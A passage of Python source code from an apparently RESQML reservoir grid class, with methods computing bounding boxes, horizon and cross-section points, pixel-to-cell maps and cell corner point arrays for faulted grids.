likely to under-report the ranges, especially for z\n\n :meta common:\n \"\"\"\n\n if self.xyz_box_cached is None or (not lazy and not self.xyz_box_cached_thoroughly):\n self.xyz_box_cached = np.zeros((2, 3))\n if lazy:\n eight_corners = np.zeros((2, 2, 2, 3))\n for kp in [0, 1]:\n for jp in [0, 1]:\n for ip in [0, 1]:\n eight_corners[kp, jp, ip] = self.point(cell_kji0 = [kp * (self.extent_kji[0] - 1),\n jp * (self.extent_kji[1] - 1),\n ip * (self.extent_kji[2] - 1)],\n corner_index = [kp, jp, ip],\n points_root = points_root, cache_array = False)\n self.xyz_box_cached[0, :] = np.nanmin(eight_corners, axis = (0, 1, 2))\n self.xyz_box_cached[1, :] = np.nanmax(eight_corners, axis = (0, 1, 2))\n else:\n ps = self.points_ref()\n if self.has_split_coordinate_lines:\n self.xyz_box_cached[0, :] = np.nanmin(ps, axis = (0, 1))\n self.xyz_box_cached[1, :] = np.nanmax(ps, axis = (0, 1))\n else:\n self.xyz_box_cached[0, :] = np.nanmin(ps, axis = (0, 1, 2))\n self.xyz_box_cached[1, :] = np.nanmax(ps, axis = (0, 1, 2))\n self.xyz_box_cached_thoroughly = not lazy\n if local: return self.xyz_box_cached\n global_xyz_box = self.xyz_box_cached.copy()\n self.local_to_global_crs(global_xyz_box, self.crs_root)\n return global_xyz_box\n\n\n def xyz_box_centre(self, points_root = None, lazy = False, local = False):\n \"\"\"Returns the (x,y,z) point (as 3 element numpy) at the centre of the xyz box for the grid.\n\n arguments:\n points_root (optional): if not None, the xml root node for the points data (speed optimization)\n lazy (boolean, default True): if True, only the 8 outermost logical corners of the grid are used\n to determine the ranges of xyz and hence the centre; if False, all the points in the entire\n grid are scanned to determine the xyz ranges in an exhaustive manner\n local (boolean, default False): if True, the xyz values that are returned are in the local\n coordinate space, otherwise the global (crs parent) coordinate space\n\n returns:\n numpy array of float of shape (3,) being the x, y, z coordinates of the centre of the grid\n\n note:\n the centre point returned is simply the midpoint of the x, y & z ranges of the grid\n \"\"\"\n\n return np.nanmean(self.xyz_box(points_root = points_root, lazy = lazy, local = local), axis = 0)\n\n\n def horizon_points(self, ref_k0 = 0, heal_faults = False, kp = 0):\n \"\"\"Returns reference to a points layer array of shape ((nj + 1), (ni + 1), 3) based on primary pillars.\n\n arguments:\n ref_k0 (integer): the horizon layer number, in the range 0 to nk (or layer number in range 0..nk-1\n in the case of grids with k gaps)\n heal_faults (boolean, default False): if True and the grid has split coordinate lines, an unsplit\n equivalent of the grid points is generated first and the returned points are based on that data;\n otherwise, the primary pillar data is used, which effectively gives a point from one side or\n another of any faults, rather than an averaged point\n kp (integer, default 0): set to 1 to specify the base of layer ref_k0, in case of grids with k gaps\n\n returns:\n a numpy array of floats of shape ((nj + 1), (ni + 1), 3) being the (shared) cell corner point\n locations for the plane of points, based on the primary pillars or unsplit equivalent pillars\n\n notes:\n the primary pillars are the 'first' set of points for a pillar; a split pillar will have one to\n three other sets of point data but those are ignored by this function unless heal_faults is True,\n in which case an averaged point will be used for the split pillars;\n to get full unhealed representation of split horizon points, use split_horizon_points() function\n instead;\n for grids without k gaps, ref_k0 can be used alone, in the range 0..nk, to identify the horizon;\n alternatively, or for grids with k gaps, the ref_k0 can specify the layer in the range 0..nk-1,\n with kp being passed the value 0 (default) for the top of the layer, or 1 for the base of the layer\n \"\"\"\n\n # note: if heal_faults is False, primary pillars only are used\n pe_j = self.nj + 1\n pe_i = self.ni + 1\n if self.k_gaps: ref_k0 = self.k_raw_index_array[ref_k0]\n ref_k0 += kp\n if self.has_split_coordinate_lines:\n if heal_faults:\n points = self.unsplit_points_ref() # expensive operation: would be better to cache the unsplit points\n return points[ref_k0, :, :, :].reshape((pe_j, pe_i, 3))\n else:\n points = self.points_ref(masked = False)\n return points[ref_k0, :pe_j * pe_i, :].reshape((pe_j, pe_i, 3))\n # unfaulted grid\n points = self.points_ref(masked = False)\n return points[ref_k0, :, :, :].reshape((pe_j, pe_i, 3))\n\n\n def split_horizon_points(self, ref_k0 = 0, masked = False, kp = 0):\n \"\"\"Returns reference to a corner points for a horizon, of shape (nj, ni, 2, 2, 3).\n\n arguments:\n ref_k0 (integer): the horizon layer number, in the range 0 to nk (or layer number in range 0..nk-1\n in the case of grids with k gaps)\n masked (boolean, default False): if True, a masked array is returned with NaN points masked out;\n if False, a simple (unmasked) numpy array is returned\n kp (integer, default 0): set to 1 to specify the base of layer ref_k0, in case of grids with k gaps\n\n returns:\n numpy array of shape (nj, ni, 2, 2, 3) being corner point x,y,z values for cell corners (j, i, jp, ip)\n\n notes:\n if split points are needed for a range of horizons, it is more efficient to call split_horizons_points()\n than repeatedly call this function;\n for grids without k gaps, ref_k0 can be used alone, in the range 0..nk, to identify the horizon;\n alternatively, or for grids with k gaps, the ref_k0 can specify the layer in the range 0..nk-1,\n with kp being passed the value 0 (default) for the top of the layer, or 1 for the base of the layer\n \"\"\"\n\n if self.k_gaps: ref_k0 = self.k_raw_index_array[ref_k0]\n ref_k0 += kp\n points = self.points_ref(masked = masked)\n hp = np.empty((self.nj, self.ni, 2, 2, 3))\n if self.has_split_coordinate_lines:\n assert points.ndim == 3\n # todo: replace for loops with numpy slice indexing\n self.create_column_pillar_mapping()\n assert self.pillars_for_column.ndim == 4 and self.pillars_for_column.shape == (self.nj, self.ni, 2, 2)\n for j in range(self.nj):\n for i in range(self.ni):\n hp[j, i, 0, 0, :] = points[ref_k0, self.pillars_for_column[j, i, 0, 0], :]\n hp[j, i, 1, 0, :] = points[ref_k0, self.pillars_for_column[j, i, 1, 0], :]\n hp[j, i, 0, 1, :] = points[ref_k0, self.pillars_for_column[j, i, 0, 1], :]\n hp[j, i, 1, 1, :] = points[ref_k0, self.pillars_for_column[j, i, 1, 1], :]\n else:\n assert points.ndim == 4\n hp[:, :, 0, 0, :] = points[ref_k0, :-1, :-1, :]\n hp[:, :, 1, 0, :] = points[ref_k0, 1:, :-1, :]\n hp[:, :, 0, 1, :] = points[ref_k0, :-1, 1:, :]\n hp[:, :, 1, 1, :] = points[ref_k0, 1:, 1:, :]\n return hp\n\n\n def split_x_section_points(self, axis, ref_slice0 = 0, plus_face = False, masked = False):\n \"\"\"Returns an array of points representing cell corners from an I or J interface slice for a faulted grid.\n\n arguments:\n axis (string): 'I' or 'J' being the axis of the cross-sectional slice (ie. dimension being dropped)\n ref_slice0 (int, default 0): the reference value for indices in I or J (as defined in axis)\n plus_face (boolean, default False): if False, negative face is used; if True, positive\n masked (boolean, default False): if True, a masked numpy array is returned with NaN values masked out\n\n returns:\n a numpy array of shape (nk + 1, nj, 2, 3) or (nk + 1, ni, 2, 3) being the xyz points of the cell corners\n on the interfacial cross section; 3rd axis is jp or ip; final axis is xyz\n\n note:\n this function will only work for grids with no k gaps; it is intended for split grids though will also\n function for unsplit grids; use split_gap_x_section_points() if k gaps are present\n \"\"\"\n\n log.debug(f'x-sect: axis {axis}; ref_slice0 {ref_slice0}; plus_face {plus_face}; masked {masked}')\n assert axis.upper() in ['I', 'J']\n assert not self.k_gaps, 'split_x_section_points() method is for grids without k gaps; use split_gap_x_section_points()'\n\n points = self.points_ref(masked = masked)\n cpm = self.create_column_pillar_mapping()\n\n ij_p = 1 if plus_face else 0\n\n if axis.upper() == 'I': return points[:, cpm[:, ref_slice0, :, ij_p], :]\n else: return points[:, cpm[ref_slice0, :, ij_p, :], :]\n\n\n def split_gap_x_section_points(self, axis, ref_slice0 = 0, plus_face = False, masked = False):\n \"\"\"Returns an array of points representing cell corners from an I or J interface slice for a faulted grid with k gaps.\n\n arguments:\n axis (string): 'I' or 'J' being the axis of the cross-sectional slice (ie. dimension being dropped)\n ref_slice0 (int, default 0): the reference value for indices in I or J (as defined in axis)\n plus_face (boolean, default False): if False, negative face is used; if True, positive\n masked (boolean, default False): if True, a masked numpy array is returned with NaN values masked out\n\n returns:\n a numpy array of shape (nk, nj, 2, 2, 3) or (nk, ni, 2, 2, 3) being the xyz points of the cell corners\n on the interfacial cross section; 3rd axis is kp; 4th axis is jp or ip; final axis is xyz\n\n note:\n this function is intended for split grids with k gaps though will also function for split grids\n without k gaps\n \"\"\"\n\n log.debug(f'k gap x-sect: axis {axis}; ref_slice0 {ref_slice0}; plus_face {plus_face}; masked {masked}')\n assert axis.upper() in ['I', 'J']\n\n if self.has_split_coordinate_lines:\n points = self.points_ref(masked = masked)\n else:\n points = self.points_ref(masked = masked).reshape((self.nk_plus_k_gaps, (self.nj + 1) * (self.ni + 1), 3))\n cpm = self.create_column_pillar_mapping()\n\n ij_p = 1 if plus_face else 0\n\n if self.k_gaps:\n top_points = points[self.k_raw_index_array]\n base_points = points[self.k_raw_index_array + 1]\n if axis.upper() == 'I':\n top = top_points[:, cpm[:, ref_slice0, :, ij_p], :]\n base = base_points[:, cpm[:, ref_slice0, :, ij_p], :]\n else:\n top = top_points[:, cpm[ref_slice0, :, ij_p, :], :]\n base = base_points[:, cpm[ref_slice0, :, ij_p, :], :]\n else:\n p = self.split_x_section_points(axis, ref_slice0 = ref_slice0, plus_face = plus_face, masked = masked)\n top = p[:-1]\n base = p[1:]\n return np.stack((top, base), axis = 2)\n\n\n def unsplit_x_section_points(self, axis, ref_slice0 = 0, plus_face = False, masked = False):\n \"\"\"Returns a 2D (+1 for xyz) array of points representing cell corners from an I or J interface slice.\n\n arguments:\n axis (string): 'I' or 'J' being the axis of the cross-sectional slice (ie. dimension being dropped)\n ref_slice0 (int, default 0): the reference value for indices in I or J (as defined in axis)\n plus_face (boolean, default False): if False, negative face is used; if True, positive\n masked (boolean, default False): if True, a masked numpy array is returned with NaN values masked out\n\n returns:\n a 2+1D numpy array being the xyz points of the cell corners on the interfacial cross section;\n the 2D axes are K,J or K,I - whichever does not involve axis; shape is (nk + 1, nj + 1, 3) or\n (nk + 1, ni + 1, 3)\n\n note:\n restricted to unsplit grids with no k gaps; use split_x_section_points() for split grids with no k gaps\n or split_gap_x_section_points() for split grids with k gaps or x_section_corner_points() for any grid\n \"\"\"\n\n log.debug(f'x-sect: axis {axis}; ref_slice0 {ref_slice0}; plus_face {plus_face}; masked {masked}')\n assert axis.upper() in ['I', 'J']\n assert not self.has_split_coordinate_lines, 'cross sectional points for unsplit grids require split_x_section_points()'\n assert not self.k_gaps, 'cross sectional points with k gaps require split_gap_x_section_points()'\n\n if plus_face: ref_slice0 += 1\n\n points = self.points_ref(masked = masked)\n\n if axis.upper() == 'I': return points[:, :, ref_slice0, :]\n else: return points[:, ref_slice0, :, :]\n\n\n def x_section_points(self, axis, ref_slice0 = 0, plus_face = False, masked = False):\n \"\"\"Deprecated: please use unsplit_x_section_points() instead.\"\"\"\n\n return self.unsplit_x_section_points(axis, ref_slice0 = ref_slice0, plus_face = plus_face, masked = masked)\n\n\n def x_section_corner_points(self, axis, ref_slice0 = 0, plus_face = False, masked = False,\n rotate = False, azimuth = None):\n \"\"\"Returns a fully expanded array of points representing cell corners from an I or J interface slice.\n\n arguments:\n axis (string): 'I' or 'J' being the axis of the cross-sectional slice (ie. dimension being dropped)\n ref_slice0 (int, default 0): the reference value for indices in I or J (as defined in axis)\n plus_face (boolean, default False): if False, negative face is used; if True, positive\n masked (boolean, default False): if True, a masked numpy array is returned with NaN values masked out\n rotate (boolean, default False): if True, the cross section points are rotated around the z axis so that\n an azimuthal direction is mapped onto the positive x axis\n aximuth (float, optional): the compass bearing in degrees to map onto the positive x axis if rotating;\n if None, the mean direction of the cross sectional points, along axis, is used; ignored if rotate\n is False\n\n returns:\n a numpy float array of shape (nk, nj, 2, 2, 3) or (nk, ni, 2, 2, 3) being the xyz points of the cell\n corners on the interfacial cross section; the 3rd index (1st 2) is kp, the 4th index is jp or ip\n\n note:\n this method will work for unsplit or split grids, with or without k gaps; use rotate argument to yield\n points with predominant variation in xz, suitable for plotting cross sections; if rotate is True then\n the absolute values of x & y will not be very meaningful though the units will still be the grid's xy\n units for relative purposes\n \"\"\"\n\n assert axis.upper() in ['I', 'J']\n nj_or_ni = self.nj if axis.upper() == 'I' else self.ni\n\n if self.k_gaps:\n x_sect = self.split_gap_x_section_points(axis, ref_slice0 = ref_slice0, plus_face = plus_face, masked = masked)\n else:\n if self.has_split_coordinate_lines:\n no_k_gap_xs = self.split_x_section_points(axis, ref_slice0 = ref_slice0, plus_face = plus_face, masked = masked)\n x_sect = np.empty((self.nk, nj_or_ni, 2, 2, 3))\n x_sect[:, :, 0, :, :] = no_k_gap_xs[:-1, :, :, :]\n x_sect[:, :, 1, :, :] = no_k_gap_xs[1:, :, :, :]\n else:\n simple_xs = self.unsplit_x_section_points(axis, ref_slice0 = ref_slice0, plus_face = plus_face, masked = masked)\n x_sect = np.empty((self.nk, nj_or_ni, 2, 2, 3))\n x_sect[:, :, 0, 0, :] = simple_xs[:-1, :-1, :]\n x_sect[:, :, 1, 0, :] = simple_xs[1:, :-1, :]\n x_sect[:, :, 0, 1, :] = simple_xs[:-1, 1:, :]\n x_sect[:, :, 1, 1, :] = simple_xs[1:, 1:, :]\n\n if rotate:\n if azimuth is None: direction = vec.points_direction_vector(x_sect, axis = 1)\n else: direction = vec.unit_vector_from_azimuth(azimuth)\n x_sect = vec.rotate_xyz_array_around_z_axis(x_sect, direction)\n x_sect[..., 0] -= np.nanmin(x_sect[..., 0])\n x_sect[..., 1] -= np.nanmin(x_sect[..., 1])\n\n return x_sect\n\n\n def pixel_map_for_split_horizon_points(self, horizon_points, origin, width, height, dx, dy = None):\n \"\"\"Makes a mapping from pixels to cell j, i indices, based on split horizon points for a single horizon.\n\n args:\n horizon_points (numpy array of shape (nj, ni, 2, 2, 2+)): corner point x,y,z values for cell\n corners (j, i, jp, ip); as returned by split_horizon_points()\n origin (float pair): x, y of south west corner of area covered by pixel rectangle, in local crs\n width (int): the width of the pixel rectangle (number of pixels)\n height (int): the height of the pixel rectangle (number of pixels)\n dx (float): the size (west to east) of a pixel, in locel crs\n dx (float, optional): the size (south to north) of a pixel, in locel crs; defaults to dx\n\n returns:\n numpy int array of shape (height, width, 2), being the j, i indices of cells that the pixel centres lie within;\n values of -1 are used as null (ie. pixel not within any cell)\n \"\"\"\n\n if dy is None: dy = dx\n half_dx = 0.5 * dx\n half_dy = 0.5 * dy\n d = np.array((dx, dy))\n half_d = np.array((half_dx, half_dy))\n\n# north_east = np.array(origin) + np.array((width * dx, height * dy))\n\n p_map = np.full((height, width, 2), -1, dtype = int)\n\n # switch from logical corner ordering to polygon ordering\n poly_points = horizon_points[..., :2].copy()\n poly_points[:, :, 1, 1] = horizon_points[:, :, 1, 0, :2]\n poly_points[:, :, 1, 0] = horizon_points[:, :, 1, 1, :2]\n poly_points = poly_points.reshape(horizon_points.shape[0], horizon_points.shape[1], 4, 2)\n\n poly_box = np.empty((2, 2))\n patch_p_origin = np.empty((2,), dtype = int) # NB. ordering is (ncol, nrow)\n patch_origin = np.empty((2,))\n patch_extent = np.empty((2,), dtype = int) # NB. ordering is (ncol, nrow)\n\n for j in range(poly_points.shape[0]):\n for i in range(poly_points.shape[1]):\n if np.any(np.isnan(poly_points[j, i])): continue\n poly_box[0] = np.min(poly_points[j, i], axis = 0) - half_d\n poly_box[1] = np.max(poly_points[j, i], axis = 0) + half_d\n patch_p_origin[:] = (poly_box[0] - origin) / (dx, dy)\n if patch_p_origin[0] < 0 or patch_p_origin[1] < 0: continue\n patch_extent[:] = np.ceil((poly_box[1] - poly_box[0]) / (dx, dy))\n if patch_p_origin[0] + patch_extent[0] > width or patch_p_origin[1] + patch_extent[1] > height: continue\n patch_origin = origin + d * patch_p_origin + half_d\n scan_mask = pip.scan(patch_origin, patch_extent[0], patch_extent[1], dx, dy, poly_points[j, i])\n patch_mask = np.stack((scan_mask, scan_mask), axis = -1)\n old_patch = p_map[patch_p_origin[1]:patch_p_origin[1] + patch_extent[1],\n patch_p_origin[0]:patch_p_origin[0] + patch_extent[0], :].copy()\n new_patch = np.empty(old_patch.shape, dtype = int)\n new_patch[:, :] = (j, i)\n p_map[patch_p_origin[1]:patch_p_origin[1] + patch_extent[1], patch_p_origin[0]:patch_p_origin[0] + patch_extent[0], :] = \\\n np.where(patch_mask, new_patch, old_patch)\n return p_map\n\n\n def pixel_maps(self, origin, width, height, dx, dy = None, k0 = None, vertical_ref = 'top'):\n \"\"\"Makes a mapping from pixels to cell j, i indices, based on split horizon points for a single horizon.\n\n args:\n origin (float pair): x, y of south west corner of area covered by pixel rectangle, in local crs\n width (int): the width of the pixel rectangle (number of pixels)\n height (int): the height of the pixel rectangle (number of pixels)\n dx (float): the size (west to east) of a pixel, in locel crs\n dy (float, optional): the size (south to north) of a pixel, in locel crs; defaults to dx\n k0 (int, default None): if present, the single layer to create a 2D pixel map for; if None, a 3D map\n is created with one layer per layer of the grid\n vertical_ref (string, default 'top'): 'top' or 'base'\n\n returns:\n numpy int array of shape (height, width, 2), or (nk, height, width, 2), being the j, i indices of cells\n that the pixel centres lie within; values of -1 are used as null (ie. pixel not within any cell)\n \"\"\"\n\n if len(origin) == 3: origin = tuple(origin[0:2])\n assert len(origin) == 2\n assert width > 0 and height > 0\n if dy is None: dy = dx\n assert dx > 0.0 and dy > 0.0\n if k0 is not None: assert 0 <= k0 < self.nk\n assert vertical_ref in ['top', 'base']\n\n kp = 0 if vertical_ref == 'top' else 1\n if k0 is not None:\n hp = self.split_horizon_points(ref_k0 = k0, masked = False, kp = kp)\n p_map = self.pixel_map_for_split_horizon_points(hp, origin, width, height, dx, dy = dy)\n else:\n _, _, raw_k = self.extract_k_gaps()\n hp = self.split_horizons_points(masked = False)\n p_map = np.empty((self.nk, height, width, 2), dtype = int)\n for k0 in range(self.nk):\n rk0 = raw_k[k0] + kp\n p_map[k0] = self.pixel_map_for_split_horizon_points(hp[rk0], origin, width, height, dx, dy = dy)\n return p_map\n\n\n def split_horizons_points(self, min_k0 = None, max_k0 = None, masked = False):\n \"\"\"Returns reference to a corner points layer of shape (nh, nj, ni, 2, 2, 3) where nh is number of horizons.\n\n arguments:\n min_k0 (integer): the lowest horizon layer number to be included, in the range 0 to nk + k_gaps; defaults to zero\n max_k0 (integer): the highest horizon layer number to be included, in the range 0 to nk + k_gaps; defaults to nk + k_gaps\n masked (boolean, default False): if True, a masked array is returned with NaN points masked out;\n if False, a simple (unmasked) numpy array is returned\n\n returns:\n numpy array of shape (nh, nj, ni, 2, 2, 3) where nh = max_k0 - min_k0 + 1, being corner point x,y,z values\n for horizon corners (h, j, i, jp, ip) where h is the horizon (layer interface) index in the range\n 0 .. max_k0 - min_k0\n\n notes:\n data for horizon max_k0 is included in the result (unlike with python ranges);\n in the case of a grid with k gaps, the horizons points returned will follow the k indexing of the points data\n and calling code will need to keep track of the min_k0 offset when using k_raw_index_array to select a slice\n of the horizons points array\n \"\"\"\n\n if min_k0 is None: min_k0 = 0\n else: assert min_k0 >= 0 and min_k0 <= self.nk_plus_k_gaps\n if max_k0 is None: max_k0 = self.nk_plus_k_gaps\n else: assert max_k0 >= min_k0 and max_k0 <= self.nk_plus_k_gaps\n end_k0 = max_k0 + 1\n points = self.points_ref(masked = False)\n hp = np.empty((end_k0 - min_k0, self.nj, self.ni, 2, 2, 3))\n if self.has_split_coordinate_lines:\n self.create_column_pillar_mapping()\n for j in range(self.nj):\n for i in range(self.ni):\n hp[:, j, i, 0, 0, :] = points[min_k0:end_k0, self.pillars_for_column[j, i, 0, 0], :]\n hp[:, j, i, 1, 0, :] = points[min_k0:end_k0, self.pillars_for_column[j, i, 1, 0], :]\n hp[:, j, i, 0, 1, :] = points[min_k0:end_k0, self.pillars_for_column[j, i, 0, 1], :]\n hp[:, j, i, 1, 1, :] = points[min_k0:end_k0, self.pillars_for_column[j, i, 1, 1], :]\n else:\n hp[:, :, :, 0, 0, :] = points[min_k0:end_k0, :-1, :-1, :]\n hp[:, :, :, 1, 0, :] = points[min_k0:end_k0, 1:, :-1, :]\n hp[:, :, :, 0, 1, :] = points[min_k0:end_k0, :-1, 1:, :]\n hp[:, :, :, 1, 1, :] = points[min_k0:end_k0, 1:, 1:, :]\n return hp\n\n\n def pillar_distances_sqr(self, xy, ref_k0 = 0, kp = 0, horizon_points = None):\n \"\"\"Returns array of the square of the distances of primary pillars in x,y plane to point xy.\n\n arguments:\n xy (float pair): the xy coordinate to compute the pillar distances to\n ref_k0 (int, default 0): the horizon layer number to use\n horizon_points (numpy array, optional): if present, should be array as returned by\n horizon_points() method; pass for efficiency in case of multiple calls\n \"\"\"\n\n # note: currently works with unmasked data and using primary pillars only\n pe_j = self.extent_kji[1] + 1\n pe_i = self.extent_kji[2] + 1\n if horizon_points is None: horizon_points = self.horizon_points(ref_k0 = ref_k0, kp = kp)\n pillar_xy = horizon_points[:, :, 0:2]\n dxy = pillar_xy - xy\n dxy2 = dxy * dxy\n return (dxy2[:, :, 0] + dxy2[:, :, 1]).reshape((pe_j, pe_i))\n\n\n def nearest_pillar(self, xy, ref_k0 = 0, kp = 0):\n \"\"\"Returns the (j0, i0) indices of the primary pillar with point closest in x,y plane to point xy.\"\"\"\n\n # note: currently works with unmasked data and using primary pillars only\n pe_i = self.extent_kji[2] + 1\n sum_dxy2 = self.pillar_distances_sqr(xy, ref_k0 = ref_k0, kp = kp)\n ji = np.nanargmin(sum_dxy2)\n j, i = divmod(ji, pe_i)\n return (j, i)\n\n\n def nearest_rod(self, xyz, projection, axis, ref_slice0 = 0, plus_face = False):\n \"\"\"Returns the (k0, j0) or (k0 ,i0) indices of the closest point(s) to xyz(s); projection is 'xy', 'xz' or 'yz'.\n\n note:\n currently only for unsplit grids\n \"\"\"\n\n x_sect = self.unsplit_x_section_points(axis, ref_slice0 = ref_slice0, plus_face = plus_face)\n if type(xyz) is np.ndarray and xyz.ndim > 1:\n assert xyz.shape[-1] == 3\n result_shape = list(xyz.shape)\n result_shape[-1] = 2\n nearest = np.empty(tuple(result_shape), dtype = int).reshape((-1, 2))\n for i, p in enumerate(xyz.reshape((-1, 3))):\n nearest[i] = vec.nearest_point_projected(p, x_sect, projection)\n return nearest.reshape(tuple(result_shape))\n else:\n return vec.nearest_point_projected(xyz, x_sect, projection)\n\n\n def coordinate_line_end_points(self):\n \"\"\"Returns xyz of top and bottom of each primary pillar.\n\n returns:\n numpy float array of shape (nj + 1, ni + 1, 2, 3)\n \"\"\"\n\n points = self.points_ref(masked = False).reshape((self.nk + 1, -1, 3))\n primary_pillar_count = (self.nj + 1) * (self.ni + 1)\n result = np.empty((self.nj + 1, self.ni + 1, 2, 3))\n result[:, :, 0, :] = points[0, :primary_pillar_count, :].reshape((self.nj + 1, self.ni + 1, 3))\n result[:, :, 1, :] = points[-1, :primary_pillar_count, :].reshape((self.nj + 1, self.ni + 1, 3))\n return result\n\n\n def z_corner_point_depths(self, order = 'cellular'):\n \"\"\"Returns the z (depth) values of each corner of each cell.\n\n arguments:\n order (string, default 'cellular'): either 'cellular' or 'linear'; if 'cellular' the resulting array has\n shape (nk, nj, ni, 2, 2, 2); if 'linear', the shape is (nk, 2, nj, 2, ni, 2)\n\n returns:\n numpy array of shape (nk, nj, ni, 2, 2, 2) or (nk, 2, nj, 2, ni, 2); for the cellular ordering, the\n result can be indexed with [k, j, i, kp, jp, ip] (where kp, for example, is 0 for the K- face and 1 for K+);\n for the linear ordering, the equivalent indexing is [k, kp, j, jp, i, ip], as used by some common simulator\n keyword formats\n \"\"\"\n\n assert order in ['cellular', 'linear']\n\n z_cp = np.empty((self.nk, self.nj, self.ni, 2, 2, 2))\n points = self.points_ref()\n if self.has_split_coordinate_lines:\n self.create_column_pillar_mapping()\n # todo: replace j,i for loops with numpy broadcasting\n if self.k_gaps:\n for j in range(self.nj):\n for i in range(self.ni):\n z_cp[:, j, i, 0, 0, 0] = points[self.k_raw_index_array, self.pillars_for_column[j, i, 0, 0], 2]\n z_cp[:, j, i, 1, 0, 0] = points[self.k_raw_index_array + 1, self.pillars_for_column[j, i, 0, 0], 2]\n z_cp[:, j, i, 0, 1, 0] = points[self.k_raw_index_array, self.pillars_for_column[j, i, 1, 0], 2]\n z_cp[:, j, i, 1, 1, 0] = points[self.k_raw_index_array + 1, self.pillars_for_column[j, i, 1, 0], 2]\n z_cp[:, j, i, 0, 0, 1] = points[self.k_raw_index_array, self.pillars_for_column[j, i, 0, 1], 2]\n z_cp[:, j, i, 1, 0, 1] = points[self.k_raw_index_array + 1, self.pillars_for_column[j, i, 0, 1], 2]\n z_cp[:, j, i, 0, 1, 1] = points[self.k_raw_index_array, self.pillars_for_column[j, i, 1, 1], 2]\n z_cp[:, j, i, 1, 1, 1] = points[self.k_raw_index_array + 1, self.pillars_for_column[j, i, 1, 1], 2]\n else:\n for j in range(self.nj):\n for i in range(self.ni):\n z_cp[:, j, i, 0, 0, 0] = points[:-1, self.pillars_for_column[j, i, 0, 0], 2]\n z_cp[:, j, i, 1, 0, 0] = points[1:, self.pillars_for_column[j, i, 0, 0], 2]\n z_cp[:, j, i, 0, 1, 0] = points[:-1, self.pillars_for_column[j, i, 1, 0], 2]\n z_cp[:, j, i, 1, 1, 0] = points[1:, self.pillars_for_column[j, i, 1, 0], 2]\n z_cp[:, j, i, 0, 0, 1] = points[:-1, self.pillars_for_column[j, i, 0, 1], 2]\n z_cp[:, j, i, 1, 0, 1] = points[1:, self.pillars_for_column[j, i, 0, 1], 2]\n z_cp[:, j, i, 0, 1, 1] = points[:-1, self.pillars_for_column[j, i, 1, 1], 2]\n z_cp[:, j, i, 1, 1, 1] = points[1:, self.pillars_for_column[j, i, 1, 1], 2]\n else:\n if self.k_gaps:\n z_cp[:, :, :, 0, 0, 0] = points[self.k_raw_index_array, :-1, :-1, 2]\n z_cp[:, :, :, 1, 0, 0] = points[self.k_raw_index_array + 1, :-1, :-1, 2]\n z_cp[:, :, :, 0, 1, 0] = points[self.k_raw_index_array, 1:, :-1, 2]\n z_cp[:, :, :, 1, 1, 0] = points[self.k_raw_index_array + 1, 1:, :-1, 2]\n z_cp[:, :, :, 0, 0, 1] = points[self.k_raw_index_array, :-1, 1:, 2]\n z_cp[:, :, :, 1, 0, 1] = points[self.k_raw_index_array + 1, :-1, 1:, 2]\n z_cp[:, :, :, 0, 1, 1] = points[self.k_raw_index_array, 1:, 1:, 2]\n z_cp[:, :, :, 1, 1, 1] = points[self.k_raw_index_array + 1, 1:, 1:, 2]\n else:\n z_cp[:, :, :, 0, 0, 0] = points[:-1, :-1, :-1, 2]\n z_cp[:, :, :, 1, 0, 0] = points[ 1:, :-1, :-1, 2]\n z_cp[:, :, :, 0, 1, 0] = points[:-1, 1:, :-1, 2]\n z_cp[:, :, :, 1, 1, 0] = points[ 1:, 1:, :-1, 2]\n z_cp[:, :, :, 0, 0, 1] = points[:-1, :-1, 1:, 2]\n z_cp[:, :, :, 1, 0, 1] = points[ 1:, :-1, 1:, 2]\n z_cp[:, :, :, 0, 1, 1] = points[:-1, 1:, 1:, 2]\n z_cp[:, :, :, 1, 1, 1] = points[ 1:, 1:, 1:, 2]\n\n if order == 'linear': return np.transpose(z_cp, axes = (0, 3, 1, 4, 2, 5))\n return z_cp\n\n\n def corner_points(self, cell_kji0 = None, points_root = None, cache_resqml_array = True, cache_cp_array = False):\n \"\"\"Returns a numpy array of corner points for a single cell or the whole grid.\n\n notes:\n if cell_kji0 is not None, a 4D array of shape (2, 2, 2, 3) holding single cell corner points in logical order\n [kp, jp, ip, xyz] is returned; if cell_kji0 is None, a pagoda style 7D array [k, j, i, kp, jp, ip, xyz] is\n cached and returned;\n the ordering of the corner points is in the logical order, which is not the same as that used by Nexus CORP data;\n olio.grid_functions.resequence_nexus_corp() can be used to switch back and forth between this pagoda ordering\n and Nexus corp ordering;\n this is the usual way to access full corner points for cells where working with native resqml data is undesirable\n\n :meta common:\n \"\"\"\n\n # note: this function returns a derived object rather than a native resqml object\n\n def one_cell_cp(grid, cell_kji0, points_root, cache_array):\n cp = np.full((2, 2, 2, 3), np.NaN)\n if not grid.geometry_defined_for_all_cells():\n if not grid.cell_geometry_is_defined(cell_kji0, cache_array = cache_array):\n return cp\n corner_index = np.zeros(3, dtype = 'int')\n for kp in range(2):\n corner_index[0] = kp\n for jp in range(2):\n corner_index[1] = jp\n for ip in range(2):\n corner_index[2] = ip\n one_point = self.point(cell_kji0, corner_index = corner_index, points_root = points_root, cache_array = cache_array)\n if one_point is not None: cp[kp, jp, ip] = one_point\n return cp\n\n if cell_kji0 is None: cache_cp_array = True\n if hasattr(self, 'array_corner_points'):\n if cell_kji0 is None: return self.array_corner_points\n return self.array_corner_points[tuple(cell_kji0)]\n points_root = self.resolve_geometry_child('Points', child_node = points_root)\n# if points_root is None: return None # geometry not present\n if cache_resqml_array: self.point_raw(points_root = points_root, cache_array = True)\n if cache_cp_array:\n self.array_corner_points = np.zeros((self.nk, self.nj, self.ni, 2, 2, 2, 3))\n points = self.points_ref()\n if points is None: return None # geometry not present\n if self.has_split_coordinate_lines:\n self.create_column_pillar_mapping()\n # todo: replace j,i for loops with numpy broadcasting\n if self.k_gaps:\n for j in range(self.nj):\n for i in range(self.ni):\n self.array_corner_points[:, j, i, 0, 0, 0, :] = points[self.k_raw_index_array, self.pillars_for_column[j, i, 0, 0], :]\n self.array_corner_points[:, j, i, 1, 0, 0, :] = points[self.k_raw_index_array + 1, self.pillars_for_column[j, i, 0, 0], :]\n self.array_corner_points[:, j, i, 0, 1, 0, :] = points[self.k_raw_index_array, self.pillars_for_column[j, i, 1, 0], :]\n self.array_corner_points[:, j, i, 1, 1, 0, :] = points[self.k_raw_index_array + 1, self.pillars_for_column[j, i, 1, 0], :]\n self.array_corner_points[:, j, i, 0, 0, 1, :] = points[self.k_raw_index_array, self.pillars_for_column[j, i, 0, 1], :]\n self.array_corner_points[:, j, i, 1, 0, 1, :] = points[self.k_raw_index_array + 1, self.pillars_for_column[j, i, 0, 1], 